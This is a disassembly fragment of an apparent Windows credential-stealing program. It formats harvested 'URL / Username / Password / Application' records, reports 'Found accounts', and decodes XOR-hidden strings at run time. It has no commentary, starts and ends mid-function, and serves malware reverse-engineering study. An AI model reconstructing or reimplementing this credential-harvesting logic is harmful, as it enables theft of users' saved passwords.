movups xmm2, xmmword [rax + 0x20]
movups xmmword [r12 + 0x20], xmm2
movdqu xmmword [r12 + 0x10], xmm1
movdqu xmmword [r12], xmm0
lea rcx, [rsp + 0x100]
call fcn.1400054cc
jmp 0x14011f70d
test rax, rax
je 0x14011f70d
mov qword [r13], rcx
mov qword [r13 + 8], rax
lea rax, [rsp + 0x1f8]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movdqu xmmword [r13 + 0x10], xmm0
movdqu xmmword [r13 + 0x20], xmm1
movups xmmword [r13 + 0x30], xmm2
mov rax, qword [rax + 0x30]
mov qword [r13 + 0x40], rax
add r13, 0x48
lea rsi, [rsp + 0x40]
add rbp, 0x48
add rbx, 0xffffffffffffffb8
jne 0x14011f47a
mov rbp, r14
mov qword [rsp + 0x198], rbp
mov r15, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x188]
mov rax, r13
sub rax, rdx
movabs rcx, 0xe38e38e38e38e38f
mul rcx
mov rdi, rdx
shr rdi, 6
lea rsi, [rsp + 0x190]
mov rcx, rsi
call fcn.140111bf9
mov rcx, rsi
call fcn.140112856
lea rsi, [rsp + 0x100]
mov rcx, rsi
mov rdx, r15
mov r8, qword [rsp + 0xf8]
call fcn.140031440
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0xf0]
mov r8, rsi
call fcn.14012be9a
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x140128942
mov qword [rsp + 0x268], rdi
mov rcx, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
lea r12, [rax + rax*2]
shl r12, 4
add r12, r14
mov qword [rsp + 0x338], rcx
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x110], r12
mov qword [rsp + 0x118], r14
mov rsi, r14
test rax, rax
je 0x14011f8a4
lea rbx, [r14 + 0x30]
shl rax, 4
lea rbp, [rax + rax*2]
mov rsi, r14
lea rcx, [rsp + 0x40]
mov rax, qword [rbx - 0x28]
test rax, rax
je 0x14011f894
mov rdi, qword [rbx - 0x30]
movdqu xmm0, xmmword [rbx - 0x20]
movdqu xmm1, xmmword [rbx - 0x10]
lea rdx, [rsp + 0x40]
movdqu xmmword [rdx + 0x20], xmm1
movdqu xmmword [rdx + 0x10], xmm0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x50], 0
je 0x14011f87d
cmp qword [rsp + 0x68], 0
je 0x14011f87d
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmmword [rsi + 0x20], xmm2
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
add rsi, 0x30
jmp 0x14011f887
call fcn.14009958a
lea rcx, [rsp + 0x40]
add rbx, 0x30
add rbp, 0xffffffffffffffd0
jne 0x14011f813
mov rbx, r12
mov qword [rsp + 0x108], rbx
mov r15, qword [rsp + 0x1d0]
mov rax, rsi
sub rax, r14
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov r12, rdx
lea rdi, [rsp + 0x100]
mov rcx, rdi
call fcn.140111cc1
mov rcx, rdi
call fcn.140112807
cmp rsi, r14
mov qword [rsp + 0x1c8], r14
je 0x14011fabb
shr r12, 5
lea rsi, [r12 + r12*2]
shl rsi, 4
add rsi, r14
mov rcx, r12
call fcn.140029ebd
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rdx
mov qword [rsp + 0x110], 0
cmp rax, r12
lea rdi, [rsp + 0x280]
jb 0x140121aa9
xor eax, eax
mov r14, qword [rsp + 0x268]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdx
mov rcx, rsi
mov rdx, qword [rsp + 0x1c8]
lea r8, [rsp + 0x30]
call section..text
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x190]
lea r9, [0x14039fc78]
call fcn.1400a39c6
mov rcx, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
call fcn.140026fa9
cmp qword [rsp + 0x100], 0
je 0x14011f9c1
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1d8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x340]
call fcn.140031440
mov rcx, rdi
mov rdx, r15
mov r8, qword [rsp + 0xf8]
call fcn.140031440
mov rbp, qword [rsp + 0x288]
mov rsi, qword [rsp + 0x290]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x110]
mov rdx, rbp
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], rsi
mov word [rsp + 0x178], 1
mov ecx, 0x10
lea rdi, [rsp + 0x30]
lea rsi, [rsp + 0x100]
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0xa9], 0
jne 0x140129509
xor edi, edi
mov rbx, qword [rsp + 0x40]
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x40]
call fcn.14000b399
cmp qword [rsp + 0x1e0], 0
je 0x14011fadb
mov rsi, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x30]
add rbx, rcx
sub rsi, rcx
mov qword [rsp + 0x30], rax
cmp byte [rsp + 0xa9], 0
mov rdi, rbx
je 0x14011fa67
mov rdi, rbx
jmp 0x14011fb0f
xor r12d, r12d
mov rbp, qword [rsp + 0xf0]
lea rdi, [rsp + 0x280]
mov r14, qword [rsp + 0x268]
jmp 0x14011fdf1
cmp byte [rsp + 0xa9], 0
jne 0x14011fb06
cmp byte [rsp + 0xa8], 0
mov rbx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
jne 0x140121a69
cmp rax, rbx
jne 0x140121a69
test rdi, rdi
je 0x140129509
mov qword [rsp + 0x310], rdi
mov qword [rsp + 0x318], rsi
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x310]
mov qword [rsp + 0x110], rax
lea rax, [0x140037710]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x30], 0
lea rax, [0x14036f0d0]
mov qword [rsp + 0x40], rax
mov ecx, 2
mov qword [rsp + 0x48], rcx
lea rax, [rsp + 0x100]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x30]
call fcn.140030660
cmp qword [rsp + 0x280], 0
je 0x14011fbbd
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x1e0]
mov rsi, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
lea rbx, [rsp + 0x1e0]
mov rcx, rbx
mov rdx, rsi
call fcn.140030a50
lea rax, [0x14036bfe8]
mov qword [rsp + 0x30], rax
lea rbp, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x3d05a542dfb007dd
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a790
mov rax, qword [rax]
movabs rcx, 0x8e9715afed6d1b4d
xor rax, rcx
mov qword [rsp + 0x2f0], rax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x310], rax
mov qword [rsp + 0x318], 8
lea rax, [rsp + 0x340]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0x310]
mov qword [rsp + 0x110], rcx
lea rcx, [0x140037710]
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rax
lea rax, [0x14036f108]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 4
lea rax, [0x14036f080]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 5
lea rax, [rsp + 0x100]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 3
lea rcx, [rsp + 0x280]
mov rdx, rbp
call fcn.140030660
cmp qword [rsp + 0x1e0], 0
je 0x14011fd0b
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
mov r15, qword [rsp + 0x1d0]
je 0x14011fd2a
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
lea rsi, [rsp + 0x280]
je 0x14011fd54
mov r8, qword [rsp + 0x348]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rsi
call fcn.14012d90c
mov rdi, rdx
test rax, rax
jne 0x14012956e
mov qword [rsp + 0x1e0], rdi
mov rsi, qword [rsp + 0x198]
mov r9, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x1e0]
mov r8, rsi
call fcn.140147a80
cmp qword [rsp + 0x30], 0
jne 0x140129582
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x190], 0
je 0x14011fdc7
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, qword [rsp + 0xf0]
mov rax, qword [rbp + 0x90]
mov rdx, qword [rbp + 0xa0]
sub rax, rdx
cmp rax, r12
lea rdi, [rsp + 0x280]
jb 0x140121ad0
mov rax, qword [rbp + 0xa0]
lea rcx, [rax + rax*2]
shl rcx, 4
add rcx, qword [rbp + 0x98]
mov rax, r12
shl rax, 4
lea r8, [rax + rax*2]
mov rdx, qword [rsp + 0x1c8]
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rsp + 0xf0]
add qword [rsi + 0xa0], r12
cmp r13, qword [rsp + 0x188]
je 0x140120012
add qword [0x1403ce040], r14
mov rcx, r14
call fcn.140029ebd
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rdx
mov qword [rsp + 0x110], 0
cmp rax, r14
lea r12, [rsp + 0x1e0]
lea rbx, [rsp + 0x40]
lea r13, [rsp + 0x30]
jb 0x140121aed
xor eax, eax
lea rcx, [r14 + r14*8]
mov rbp, qword [rsp + 0x188]
lea rcx, [rcx*8]
add rcx, rbp
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdx
mov rdx, rbp
mov r8, r13
call fcn.1400013bf
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x2f0]
lea r9, [0x14039fc78]
call fcn.1400a39c6
mov rcx, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
call fcn.140026fa9
cmp qword [rsp + 0x100], 0
je 0x14011ff21
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1d8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x340]
call fcn.140031440
mov rcx, rdi
mov rdx, r15
mov r8, qword [rsp + 0xf8]
call fcn.140031440
mov r15, qword [rsp + 0x288]
mov rsi, qword [rsp + 0x290]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x110]
mov rdx, r15
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], rsi
mov word [rsp + 0x178], 1
mov ecx, 0x10
mov rdi, r13
lea rsi, [rsp + 0x100]
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0xa9], 0
jne 0x14012951c
xor ebp, ebp
mov rdi, qword [rsp + 0x40]
mov rcx, r12
mov rdx, rbx
call fcn.14000b399
cmp qword [rsp + 0x1e0], 0
je 0x14012001e
mov rsi, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x30]
add rdi, rcx
sub rsi, rcx
mov qword [rsp + 0x30], rax
cmp byte [rsp + 0xa9], 0
mov rbp, rdi
je 0x14011ffc5
mov rbp, rdi
jmp 0x140120052
xor ebx, ebx
lea r13, [rsp + 0x30]
jmp 0x140120793
cmp byte [rsp + 0xa9], 0
jne 0x140120049
cmp byte [rsp + 0xa8], 0
mov rdi, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
jne 0x140121a79
cmp rax, rdi
jne 0x140121a79
test rbp, rbp
je 0x14012951c
mov qword [rsp + 0x190], rbp
mov qword [rsp + 0x198], rsi
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x110], rax
lea rax, [0x140037710]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x30], 0
lea rax, [0x14036f0d0]
mov qword [rsp + 0x40], rax
mov ecx, 2
mov qword [rsp + 0x48], rcx
lea rax, [rsp + 0x100]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov rcx, r12
mov rdx, r13
call fcn.140030660
cmp qword [rsp + 0x280], 0
je 0x1401200f9
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x1e0]
mov rsi, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
mov rcx, r12
mov rdx, rsi
call fcn.140030a50
lea rax, [0x1403614df]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x67b6b68056505d56
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008ce9
mov rcx, qword [rax]
movabs rdx, 0xc365b5d941e06cc5
xor rcx, rdx
mov qword [rsp + 0x310], rcx
mov al, byte [rax + 8]
xor al, 0xf6
mov byte [rsp + 0x318], al
lea rax, [rsp + 0x310]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 9
lea rax, [rsp + 0x340]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0x190]
mov qword [rsp + 0x110], rcx
lea rcx, [0x140037710]
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], r12
mov qword [rsp + 0x128], rax
lea rax, [0x14036f108]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 4
lea rax, [0x14036f080]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 5
lea rax, [rsp + 0x100]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 3
lea rcx, [rsp + 0x280]
mov rdx, r13
call fcn.140030660
cmp qword [rsp + 0x1e0], 0
je 0x140120246
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
je 0x14012025d
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
lea rdi, [rsp + 0x280]
je 0x140120287
mov r8, qword [rsp + 0x348]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rdi
call fcn.14012d90c
mov rsi, rdx
test rax, rax
jne 0x14012959e
mov qword [rsp + 0x1e0], rsi
mov r8, qword [rsp + 0x2f8]
mov r9, qword [rsp + 0x300]
mov rcx, r13
mov rdx, r12
call fcn.140147a80
cmp qword [rsp + 0x30], 0
jne 0x1401295b2
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rax, [0x14036a918]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xc93d38451ee6dbb4
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400097e8
mov rcx, qword [rax]
movabs rdx, 0xa9f7aa983e01db2a
xor rcx, rdx
mov qword [rsp + 0x340], rcx
mov ecx, dword [rax + 8]
mov edx, 0xc8341d8a
xor ecx, edx
mov dword [rsp + 0x348], ecx
mov al, byte [rax + 0xc]
xor al, 0x48
mov byte [rsp + 0x34c], al
lea rax, [rsp + 0x340]
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], 0xd
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], rdi
lea rax, [0x140037710]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x30], 0
lea rax, [0x140371678]
mov qword [rsp + 0x40], rax
mov eax, 2
mov qword [rsp + 0x48], rax
lea rdi, [rsp + 0x100]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rax
mov rcx, r12
mov rdx, r13
call fcn.140030660
mov r14, qword [rsp + 0x1e0]
mov rbp, qword [rsp + 0x1e8]
mov r15, qword [rsp + 0x1f0]
mov rcx, r13
mov rdx, rbp
mov r8, r15
xor r9d, r9d
call fcn.140151c10
cmp dword [rsp + 0x30], 2
mov qword [rsp + 0x410], rbp
jne 0x140120413
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x100], 2
jmp 0x140120429
mov ecx, 9
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x100], 2
jne 0x140120453
lea rcx, [rsp + 0x108]
call fcn.14006467d
mov rcx, rbp
mov rdx, r15
call fcn.14012d98d
test rax, rax
jne 0x140129664
mov rcx, rdx
call qword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
mov qword [rsp + 0x310], rax
mov qword [rsp + 0x318], 1
mov qword [rsp + 0x320], rax
mov rcx, r13
mov rdx, qword [rsp + 0x188]
mov r8, qword [rsp + 0x268]
call fcn.14012ed88
mov rax, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
lea rdx, [rcx + rcx*8]
lea rbp, [rdi + rdx*8]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x350], rbp
mov qword [rsp + 0x358], rdi
test rcx, rcx
je 0x14012065f
add rdi, 0x48
mov rax, qword [rdi - 0x48]
mov rcx, qword [rdi - 0x40]
mov rdx, qword [rdi - 8]
mov qword [rsp + 0x210], rdx
movups xmm0, xmmword [rdi - 0x18]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rdi - 0x28]
movaps xmmword [rsp + 0x1f0], xmm0
movdqu xmm0, xmmword [rdi - 0x38]
movdqa xmmword [rsp + 0x1e0], xmm0
test rcx, rcx
je 0x14012065f
lea r12, [rdi - 0x48]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
mov rax, qword [rsp + 0x210]
mov qword [rbx + 0x30], rax
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqa xmm1, xmmword [rsp + 0x1f0]
movaps xmm2, xmmword [rsp + 0x200]
movups xmmword [rbx + 0x20], xmm2
movdqu xmmword [rbx + 0x10], xmm1
movdqu xmmword [rbx], xmm0
mov qword [rsp + 0x100], r13
lea rcx, [0x140006df0]
mov qword [rsp + 0x108], rcx
lea rax, [rsp + 0x48]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rcx
mov qword [rsp + 0x280], 0
lea rax, str.URL:__r_nUsername:__r_nPassword:__r_nApplication:__r_n_r_n
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], 5
lea rax, [rsp + 0x100]
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x2a8], 4
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x280]
call fcn.140030660
mov rsi, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov r13, qword [rsp + 0x190]
lea rcx, [rsp + 0x310]
mov rdx, rsi
call fcn.14017f1df
test r13, r13
je 0x140120639
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea r13, [rsp + 0x30]
mov rcx, r13
call fcn.140005610
add rdi, 0x48
add r12, 0x48
cmp r12, rbp
lea rbx, [rsp + 0x40]
jne 0x1401204c5
mov rdi, rbp
mov qword [rsp + 0x348], rdi
lea rcx, [rsp + 0x340]
call fcn.140112856
lea rax, [rsp + 0x40]
xor ecx, ecx
mov dword [rax + 0x10], ecx
mov word [rax + 0x14], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x38], ecx
movdqu xmmword [rsp + 0x40], xmm6
mov word [rsp + 0x51], 0x101
mov qword [rsp + 0x100], r14
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], r15
mov rcx, r13
lea rbx, [rsp + 0x100]
mov rdx, rbx
call fcn.14012d87d
mov rdi, rdx
test rax, rax
jne 0x1401295ce
mov qword [rsp + 0x280], rdi
mov rsi, qword [rsp + 0x318]
mov r9, qword [rsp + 0x320]
mov rcx, rbx
lea rdx, [rsp + 0x280]
mov r8, rsi
call fcn.140147a80
cmp qword [rsp + 0x100], 0
mov rbx, qword [rsp + 0x268]
jne 0x1401295e5
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x310], 0
mov r15, qword [rsp + 0x1d0]
je 0x14012074d
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x2f0], 0
lea rdi, [rsp + 0x280]
je 0x140120777
mov r8, qword [rsp + 0x2f8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0xf0]
mov rax, qword [rsi + 0x48]
mov rdx, qword [rsi + 0x58]
sub rax, rdx
cmp rax, rbx
jb 0x140121b14
mov rax, qword [rsi + 0x58]
lea rcx, [rax + rax*8]
shl rcx, 3
add rcx, qword [rsi + 0x50]
lea rax, [rbx*8]
lea r8, [rax + rax*8]
mov rdx, qword [rsp + 0x188]
call sub.VCRUNTIME140.dll_memcpy
add qword [rsi + 0x58], rbx
lea r14, [rsp + 0x100]
mov rcx, r14
mov rdx, r15
mov r8, qword [rsp + 0xf8]
call fcn.140031440
mov rcx, r13
mov rdx, rsi
mov r8, r14
call fcn.14012a41b
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x140128c48
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
imul rbx, rax, 0x70
lea rbp, [rdx + rbx]
mov qword [rsp + 0x410], rcx
mov qword [rsp + 0x190], rcx
mov qword [rsp + 0x198], rdx
mov qword [rsp + 0x1a0], rbp
mov qword [rsp + 0x1a8], rdx
lea rcx, [rsp + 0x3d0]
mov qword [rsp + 0x1b0], rcx
mov r13, rdx
test rax, rax
mov r15, rdx
je 0x140120b7e
mov qword [rsp + 0x428], rbp
lea r12, [r15 + 0x70]
mov r13, r15
lea rbp, [rsp + 0x40]
mov rax, qword [r12 - 0x58]
test rax, rax
je 0x140120b76
lea rcx, [r12 - 0x70]
lea rsi, [r12 - 0x50]
mov rdx, qword [rcx + 0x10]
mov qword [rbp + 0x10], rdx
movdqu xmm0, xmmword [rcx]
movdqu xmmword [rbp], xmm0
mov ecx, 0xa
lea rdi, [rsp + 0x60]
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x90], 0
je 0x1401209b7
cmp qword [rsp + 0x60], 0
je 0x1401209b7
mov ecx, 0xe
lea rdi, [rsp + 0x280]
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rsp + 0x298]
mov r8, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x110]
call fcn.140031440
mov rdx, qword [rsp + 0x2b0]
mov r8, qword [rsp + 0x2b8]
lea rcx, [rsp + 0x128]
call fcn.140031440
mov rsi, qword [rsp + 0x2c8]
mov rdi, qword [rsp + 0x2d0]
mov rcx, rdi
xor edx, edx
call fcn.140034043
mov rcx, rdx
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rdx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x150], rdi
mov rdx, qword [rsp + 0x2e0]
mov r8, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x158]
call fcn.140031440
movups xmm0, xmmword [rsp + 0x280]
movups xmmword [rsp + 0x100], xmm0
lea rsi, [rsp + 0x1e0]
mov rcx, rsi
mov rdx, r14
xor r8d, r8d
call fcn.14000ebed
cmp qword [rsp + 0x1f8], 0
je 0x1401209cc
mov ecx, 0xe
lea rdi, [rsp + 0x340]
rep movsq qword [rdi], qword [rsi]
jmp 0x140120aa0
mov rcx, rbp
call fcn.1400054f2
lea rdi, [rsp + 0x280]
jmp 0x140120b5b
mov rdx, qword [rsp + 0x298]
mov r8, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x110]
call fcn.140031440
mov rdx, qword [rsp + 0x2b0]
mov r8, qword [rsp + 0x2b8]
lea rcx, [rsp + 0x128]
call fcn.140031440
mov rsi, qword [rsp + 0x2c8]
mov rdi, qword [rsp + 0x2d0]
mov rcx, rdi
xor edx, edx
call fcn.140034043
mov rcx, rdx
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rdx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x150], rdi
mov rdx, qword [rsp + 0x2e0]
mov r8, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x158]
call fcn.140031440
movups xmm0, xmmword [rsp + 0x280]
movups xmmword [rsp + 0x100], xmm0
mov rax, qword [rsp + 0x1b0]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
lea rcx, [rsp + 0x340]
mov rdx, r14
call fcn.14000ebed
lea rcx, [rsp + 0x200]
call fcn.1400054cc
lea rdi, [rsp + 0x280]
mov rcx, rdi
call fcn.1400054f2
mov rax, qword [rsp + 0x358]
test rax, rax
je 0x140120b18
mov rcx, qword [rsp + 0x350]
mov qword [r13 + 0x10], rcx
movups xmm0, xmmword [rsp + 0x340]
movups xmmword [r13], xmm0
mov qword [r13 + 0x18], rax
lea rax, [rsp + 0x360]
movups xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [r13 + 0x20], xmm0
movdqu xmmword [r13 + 0x30], xmm1
movups xmmword [r13 + 0x40], xmm2
movups xmmword [r13 + 0x50], xmm3
movdqu xmm0, xmmword [rax + 0x40]
movdqu xmmword [r13 + 0x60], xmm0
add r13, 0x70
jmp 0x140120b5b
lea rax, [rsp + 0x360]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x130], xmm3
movaps xmmword [rsp + 0x120], xmm2
movdqa xmmword [rsp + 0x110], xmm1
movdqa xmmword [rsp + 0x100], xmm0
mov rcx, r14
call fcn.1400054cc
add r12, 0x70
add rbx, 0xffffffffffffff90
lea rbp, [rsp + 0x40]
jne 0x140120867
mov r12, qword [rsp + 0x428]
mov qword [rsp + 0x198], r12
mov rax, r13
sub rax, r15
shr rax, 4
movabs rcx, 0x2492492492492493
mul rcx
mov r12, rdx
lea rsi, [rsp + 0x190]
mov rcx, rsi
call fcn.140111c5f
mov rcx, rsi
call fcn.140112917
cmp r13, r15
mov qword [rsp + 0x268], r15
je 0x140120e72
mov rbx, r15
add qword [0x1403ce048], r12
mov qword [rsp + 0x1e0], r12
lea r15, [rsp + 0x1e0]
mov qword [rsp + 0x100], r15
lea rax, [fcn.140035940]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x110], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x118], rax
lea rax, str.Found__accounts_n
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 3
xor r13d, r13d
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 2
lea rbp, [rsp + 0x30]
mov rcx, rbp
call fcn.140153c30
mov qword [rsp + 0x310], r13
mov qword [rsp + 0x318], 1
mov qword [rsp + 0x320], r13
imul rsi, r12, 0x70
add rsi, rbx
mov rcx, r12
call fcn.140029ebd
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rdx
mov qword [rsp + 0x110], r13
mov ecx, 0
cmp rax, r12
jb 0x140121b31
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x110]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdx
mov rcx, rsi
mov rdx, rbx
mov r8, rbp
call fcn.1400010e3
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
